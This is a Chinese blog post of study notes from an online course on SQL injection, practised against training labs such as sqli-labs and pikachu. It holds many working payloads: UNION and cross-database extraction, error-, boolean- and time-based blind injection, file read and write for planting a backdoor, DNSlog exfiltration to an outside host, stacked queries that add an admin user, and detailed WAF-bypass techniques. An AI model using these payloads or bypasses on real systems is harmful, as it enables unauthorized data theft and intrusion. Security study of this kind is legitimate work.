web漏洞“小迪安全课堂笔记”SQL注入


前言

小迪安全sql注入课堂笔记

小白学习笔记,视频是b站小迪安全,文末有链接。


在这里插入图片描述
在这里插入图片描述

SQL注入是什么?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简述:可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

例如:
     www.sqlzhuru.com/index.php?id=7
     www.sqlzhuru.com/index.php?id=1&x=12351
     www.sqlzhuru.com/?id=2//默认指向index.php参数是id=2
其中id,x为变量,均可能存在sql注入。
     www.sqlzhuru.com/index.php//可能存在post注入,在地址中不显示。

注入原理

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//含有可控变量
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

数据库结构

网站-库-表-数据
webA-库A-用户A ---------表>列>数据
webB-库B-用户B ---------表>列>数据
若用户为root则可跨库查询,若目标网站没有注入点,可通过同一数据库其他有注入点网站获取信息(跨库注入——root)。

mysql数据库

SQL最全基础教程(有本事别看啊!)
mysql5.0以上版本 存在一个 information_schema 的数据库,它记录着所有的数据库,表名,列名。可通过它查询表名和列名信息。低版本5.0以下:暴力查询或结合读取查询

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| pikachu            |
| security           |
| sys                |
+--------------------+

information_schema 库名
information_schema.tables; 记录所有表名
information_schema.columns; 记录所有的列名
information_schema.schemata;记录所有库名;

数据库中“.”代表下一级,如dababase.table;表示库下的表名。
猜解多个数据可用LIMIT x,1;
–+为注释sql注入中的–+注释问题探索

参数类型

字符型,闭合

...
$name=$_GET['x'];
...
$sql="SELECT * FROM users WHERE name='$name' LIMIT 0,1";
//SELECT * FROM users WHERE name='xxx and 1=1' LIMIT 0,1//注入失败
...

整数型,不闭合

...
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
...

通配符搜索,闭合

...
$sql="SELECT * FROM users WHERE name like '%xxx%' LIMIT 0,1";
...

JSON键值对——“name”:“zhangsan”,闭合与否看字节类型

请求方法

应在了解请求方法后注入
源码

<?php
$get=$_GET['g'];//get接收参数名g的值赋值给变量get
echo $get;//输出变量g
$post=$_POST['p'];//post接收参数名p的值赋值给变量post
echo $post;//输出p
$cookie=$_COOKIE['c'];
echo $cookie;
$request=$_REQUEST['r'];
echo $request;
$s=$_SERVER['HTTP_USER_AGENT'];
echo $s;
?>

GET :无论post,get只要网址中有参数就能接收到
POST :只能post才能接收

在这里插入图片描述

GET /1.php?g=123&p=456 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

页面返回:123
在这里插入图片描述

POST /1.php?g=123 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Connection: close
Upgrade-Insecure-Requests: 1

p=456

页面返回:123456
COOKIE:post,get都能接收,可注入
REQUEST:post,get全部接收
$_SERVER主要用于收集访客信息,若在接收访客信息后进行查询,可通过改包进行注入

如何判断注入点?

方法一(老办法):

and 1=1 页面正常
and 1=2 页面错误
可能存在注入点,不能使用or(或运算)。

方法二:

SELECT * FROM users WHERE id=1 LIMIT 0,1;//www.zhuru.com/?id=1页面正常
SELECT * FROM users WHERE id=1一二三 LIMIT 0,1;//www.zhuru.com/?id=1一二三,页面错误,可能存在注入点

归根结底就是看我们的输入会不会对网站造成影响
若网站返回404,或跳转页面,则此页面不存在注入点。

判断注入

猜解列数(字段数):order by x;寻找页面正常与错误的临界值。之后?id=-1 union select 1,2,3,…,x;
详解SELECT 1,2,3…的含义及其在SQL注入中的用法

1、信息收集

操作系统版本、数据库版本、数据库名、数据库用户、其他网站路径

查询数据库 version()
数据库名字 database()
数据库用户 user()——判断权限
操作系统 @@version_compile_os

例:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,user(),version()sqli-labs1

2、数据注入 3、高权限注入

魔术引号开关

练习时,魔术引号开关要关magic_quotes_gpc(魔术引号开关)等函数与数据库安全:magic_quotes_gpc开启会对特定字符转义
将引号内容使用hex编码或宽字节绕过魔术引号开关

跨库注入

前提:已知数据库用户为root,5.0以上版本数据库

获取所有数据库名

例:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

group_concat:同一分组数据合并为数组,后台语句中没有group by分组,所以全部合并。
schema_name:列名
information_schema.schemata:涵盖所有库名信息的表

在这里插入图片描述

获取指定数据库下的表名信息

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test1’;

information_schema.tables:存储所有表名的表
table_schema:列,所对应表的库名

![在这里插入图片描述](https://img-blog.csdnimg.cn/863a1f7c0549452bb6c8fac8eaae0e29.png?x-oss-

获取库test1下表testtable的信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘testtable’ and table_schema=‘test1’;

information_schema.columns:表存储所有列名

在这里插入图片描述
若不限制库名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘testtable’ and table_schema=‘test1’ ;
其他库下也可能存在admin表,影响判断。

获取库test1下表testtable的指定数据

union select 1,user,password from test1.testtable;
这里一定要加test1. 因为不在同一库下

在这里插入图片描述

文件读写操作

load_file():读取函数
常见的load_file()读取的敏感信息
若返回null,则需查看secure_file_priv变量指向的允许上传文件的位置。上传路径可在mysql下my.ini文件中添加secure_file_priv或修改。
在mysql当中‘\’为转译字符,所以路径用‘/’。

mysql> show global variables like '%secure%';
+--------------------------+---------------+
| Variable_name            | Value         |
+--------------------------+---------------+
| require_secure_transport | OFF           |
| secure_auth              | ON            |
| secure_file_priv         | E:\mysqltest\ |
+--------------------------+---------------+
3 rows in set, 1 warning (0.00 sec)

mysql> select load_file('e:/mysqltest/test1.txt');
+-------------------------------------------+
| load_file('e:/mysqltest/test1.txt')       |
+-------------------------------------------+
| This text is all that the file contains!  |
+-------------------------------------------+

into outfile 或 into dumpfile :导出函数
也存在secure_file_priv变量指向问题。
有文件写入,无文件创建后写入。

mysql> select 'x' into outfile 'e:/mysqltest/www.txt';
Query OK, 1 row affected (0.00 sec)

可直接写入后门。

路径获取常用方法

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等。

相关防注入

自带防御:魔术引号。
内置函数:int ,addslashes(),is_int判定(纯数字是无法注入的)等。
自定义关键字:select 替换或丢弃数据包。
WAF防护软件:安全狗,宝塔等。

Access

数据库保存到网站源码下在这里插入图片描述

结构

表-列-数据,access=库,所以无跨库注入,也没有高权限概念。
没有数据库名等概念和信息表,只有数据(只有表及以下结构)。
也没有文件读写功能。

墨者简单access注入
在这里插入图片描述

在这里插入图片描述
判断注点
在这里插入图片描述
找回显
在这里插入图片描述
在这里插入图片描述
因为access没有信息表和库名,所里只能采用暴力猜解。这里是猜admin。猜对显示猜错异常。 可用脚本或工具。
在这里插入图片描述
在这里插入图片描述

Access暴力猜解不出

Access偏移注入:表名知道,列名获取不到的情况
随机爆出数据
access偏移注入与原理

表名不知:查看登录源代码的表单值或观察URL特征等。

mssql

MSSQL注入
判断是否为mssql
墨者 - SQL手工注入漏洞测试(Sql Server数据库)

PostGresql

PostGresql 注入知识汇总
PostgreSQL 注入整理

sqlmap

sqlmap官网
sqlmap全参数详解
sqlmap超详细笔记+思维导图

oracle

Oracle注入总结

Mongodb与nosqlattack

Mongodb与常规数据库语法不一样,sqlmap不支持
Attack linux环境下支持MongoDB的工具
nosqlattack
墨者刷题笔记

小结

不同发数据库的功能不同,不同数据库的注入方式都不同,能够获取的信息不同。在这里插入图片描述

查询方式及盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据 在网站应用中进行数据显示查询操作 
例: select * from news where id=$id 
insert插入数据 在网站应用中进行用户注册添加等操作 
例: insert into news (id, url, text) values (2, 'x','$t') 
delete删除数据 后台管理里面删除文章删除用户等操作 
例: delete from news where id=$id 
update更新数据 会员或后台中心数据同步或缓存等操作 
例: update user set pwd='$p' where id=2 and username= 'admin' 
order by排序数据 一般结合表名或列名进行数据排序操作 
例: select * from news order by $id 
例: select id, name, price from news order by $order

通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

SQL盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝 试,这个过程称之为盲注。
无回显原因
sql语句本身没有回显,例如insert,update,delete,也可能网站不显示回显信息

基于报错的SQL盲注-报错回显 floor, updatexml,extractvalue

12种报错注入+万能语句

参考:数据会显示在报错信息中,或响应代码尾部(pikachu)
在这里插入图片描述

> Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=sub
mit
username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit
username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=su
bmit
pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or 
updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or
'&email=wuhan&submit=submit
pikachu delete//删除是get方法,地址参数中含有空格,可能出现识别错误。所以空格换成“+”号或%20。
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(da
tabase()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

基于布尔的SQL盲注-逻辑判断regexp, like, ascii, left, ord, mid

and left(database(),1)=‘s’–+ 判断库名首字母,页面无变化猜对
and left(database(),2)=‘se’–+ 判断库名前两个字母

基于时间的SQL盲注-延时判断 if, sleep(由于网络延迟,可能会有判断问题)

sleep

mysql> select * from testtable where user='zhangsan'and sleep(5);
Empty set (5.01 sec)

**if:**相当与编程语言当中的三目运算符,IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

mysql> select if(database()='test1',1,0);
+---------------------------+
| if(database()='test',1,0) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)

if sleep结合

mysql> select * from testtable where user='zhangsan'and sleep(if(database()='sss',1,0));
Empty set (0.00 sec)

mysql> select * from testtable where user='zhangsan'and sleep(if(database()='test1',1,0));
Empty set (1.01 sec)

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()=‘aaaaa’,0,5))–+,判断数据库名
在这里插入图片描述
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=5,0,5))–+,判断数据库名长度
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(mid(database(),1,1)=‘t’,0,5))–+,判断数据库名首字母

select * from testtable where user='zhangsan'and sleep(if(mid(database(),1,1)='t',0,5));//判断数库首字母
Empty set (0.01 sec)

and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+,①使用ASCII可避开转义,②开发工具脚本可直接for循环遍历,比字符方便。
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+,判断表名首字母

参考

like ‘ro%’ #判断 ro 或 ro…是否成立
regexp ‘^xiaodi[a-z]’ #匹配 xiaodi 及 xiaodi…等
if(条件,5,0) #条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5 秒
mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
length(database())=8 #判断数据库 database()名的长度
ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97
在这里插入图片描述

注入拓展

加解密

后台带入数据库查询前先解密(注入先加密可解决,随情况而定)
一般是base64

二次(源码——白盒——人工)

在这里插入图片描述
例如:注册用户时,值后添加注入语句。在update时就会执行注入。
字节长度限制:1、前端限制,可更改。2、后端限制无办法。

DNSlog注入(高权限)

dns平台
DNSlog可以解决盲注也无回显问题,回显外带到dns平台

mysql> select * from users where id=1 and if((select load_file(concat('\\\\', (select version()),'.eii0i8.ceye.io\\abc'))),1,0);
Empty set (21.14 sec)

工具

中转注入——开发

堆叠查询注入

堆叠注入详解
Stacked injections(堆叠注入)从名词的含义可以看出是一堆 sql 语句(多条)一起执行。在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。注入时执行多条语句就叫做 stacked injection。不过存在局限性,只有部分数据库支持(mysql,mssql)
**应用场景之一:**注入需要获取管理员账号密码,密码加密无法解密。就可以使用堆叠注入插入数据,添加一个新用户账号密码。

WAF绕过

在这里插入图片描述

更改提交方式注入——前提后台程序允许其他提交方式

特殊符号

id=-1 union #a%0Aselect 1,2,3# ——防护规则是union,select不能连用
%0A ——16进制换行
%23 ——#——注释

参数污染

HTTP参数污染攻击
出现重复参数,以第几个为准?
在这里插入图片描述

id=1/&id=-1%20union%20select%201,2,3%23*/
/
*/——注释,安全狗接收到/**之前,因为参数污染,结构是apache,获取last,所以执行注释内的sql。

Fuzz大法:脚本爆破

白名单

IP白名单

①网站本身地址可能不会拦截
②waf接收IP地址的方式:从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。

测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。

常见的 url 构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1 http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd http://10.9.9.201/…/…/…/ manage/…/sql.asp?id=2 waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通 过/sql.php?a=/manage/&b=…/etc/passwd 绕过防御规则。

爬虫白名单

伪造成各官方搜索引擎(百度,搜狐)。——脚本
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断,UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent switcher (Firefox附加组件)

数据库特性

1、Mysql 技巧
(1)mysql 注释符有三种:#、//、-- … (注意–后面有一个空格) (2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。 (3)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
(4)mysql 黑魔法
select{x username}from {x11 test.admin};
(5)插入版本号
%20union%20/!44509select/%201,2,3
/!44509select/:通过插入版本号(4.45.09), 绕过检测机制 %20/!44509union/%23x%0aselect%201,2,3
特殊符号%20union%20all%23%0a%20select%201,2,3%23
2、SQL Server 技巧
(1)用来注释掉注射后查询的其余部分:
/* C 语言风格注释
– SQL 注释
; 00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(4)函数变形:如 db_name空白字符
3、Oracle 技巧
(1)注释符:–、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
4.配合 FUZZ字典爆破
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

sqlmap tamper

sqlmap --tamper 绕过WAF脚本分类整理
有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具
sqlmap发的包带了自己的工具头
判定方法一:WAF日志
判定方法二:WAF防护规则
判定方法三:抓包
解决方法:
思路一:采用salmap的随机agent头方法
思路二:采用搜索引擎的头
SQLMap说明
扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只
是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

流量限速

延迟,ip代理池,搜索引擎爬虫 http 指纹头 useragent

#应用层
大小写/关键字替换
id=1 UnIoN//SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写,URL,hex,%0A 等
注释使用
// – --+ # /
/ + :%00 /!**/等
再次循环
union==uunionnion
等价替换
user()=@@user() and=& or=| ascii=hex 等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
中间件 HPP 参数污染
#逻辑层
1、逻辑问题
(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。 (3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP
没有防护,直接访问 HTTP 站点绕过防护。
(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数
输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from
information_schema.columns
2、性能问题
猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向
量时超出了其缓冲区长度就会引发 bug,从而实现绕过。
例子 1:
?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA
1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试
长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
例子 2:
?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。

参考资料

小迪安全https://www.bilibili.com/video/BV1JZ4y1c7ro?p=11
百度百科 靶场sqli-labs,pikachu CSDN博客
墨者mozhe.cn

  • 5
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值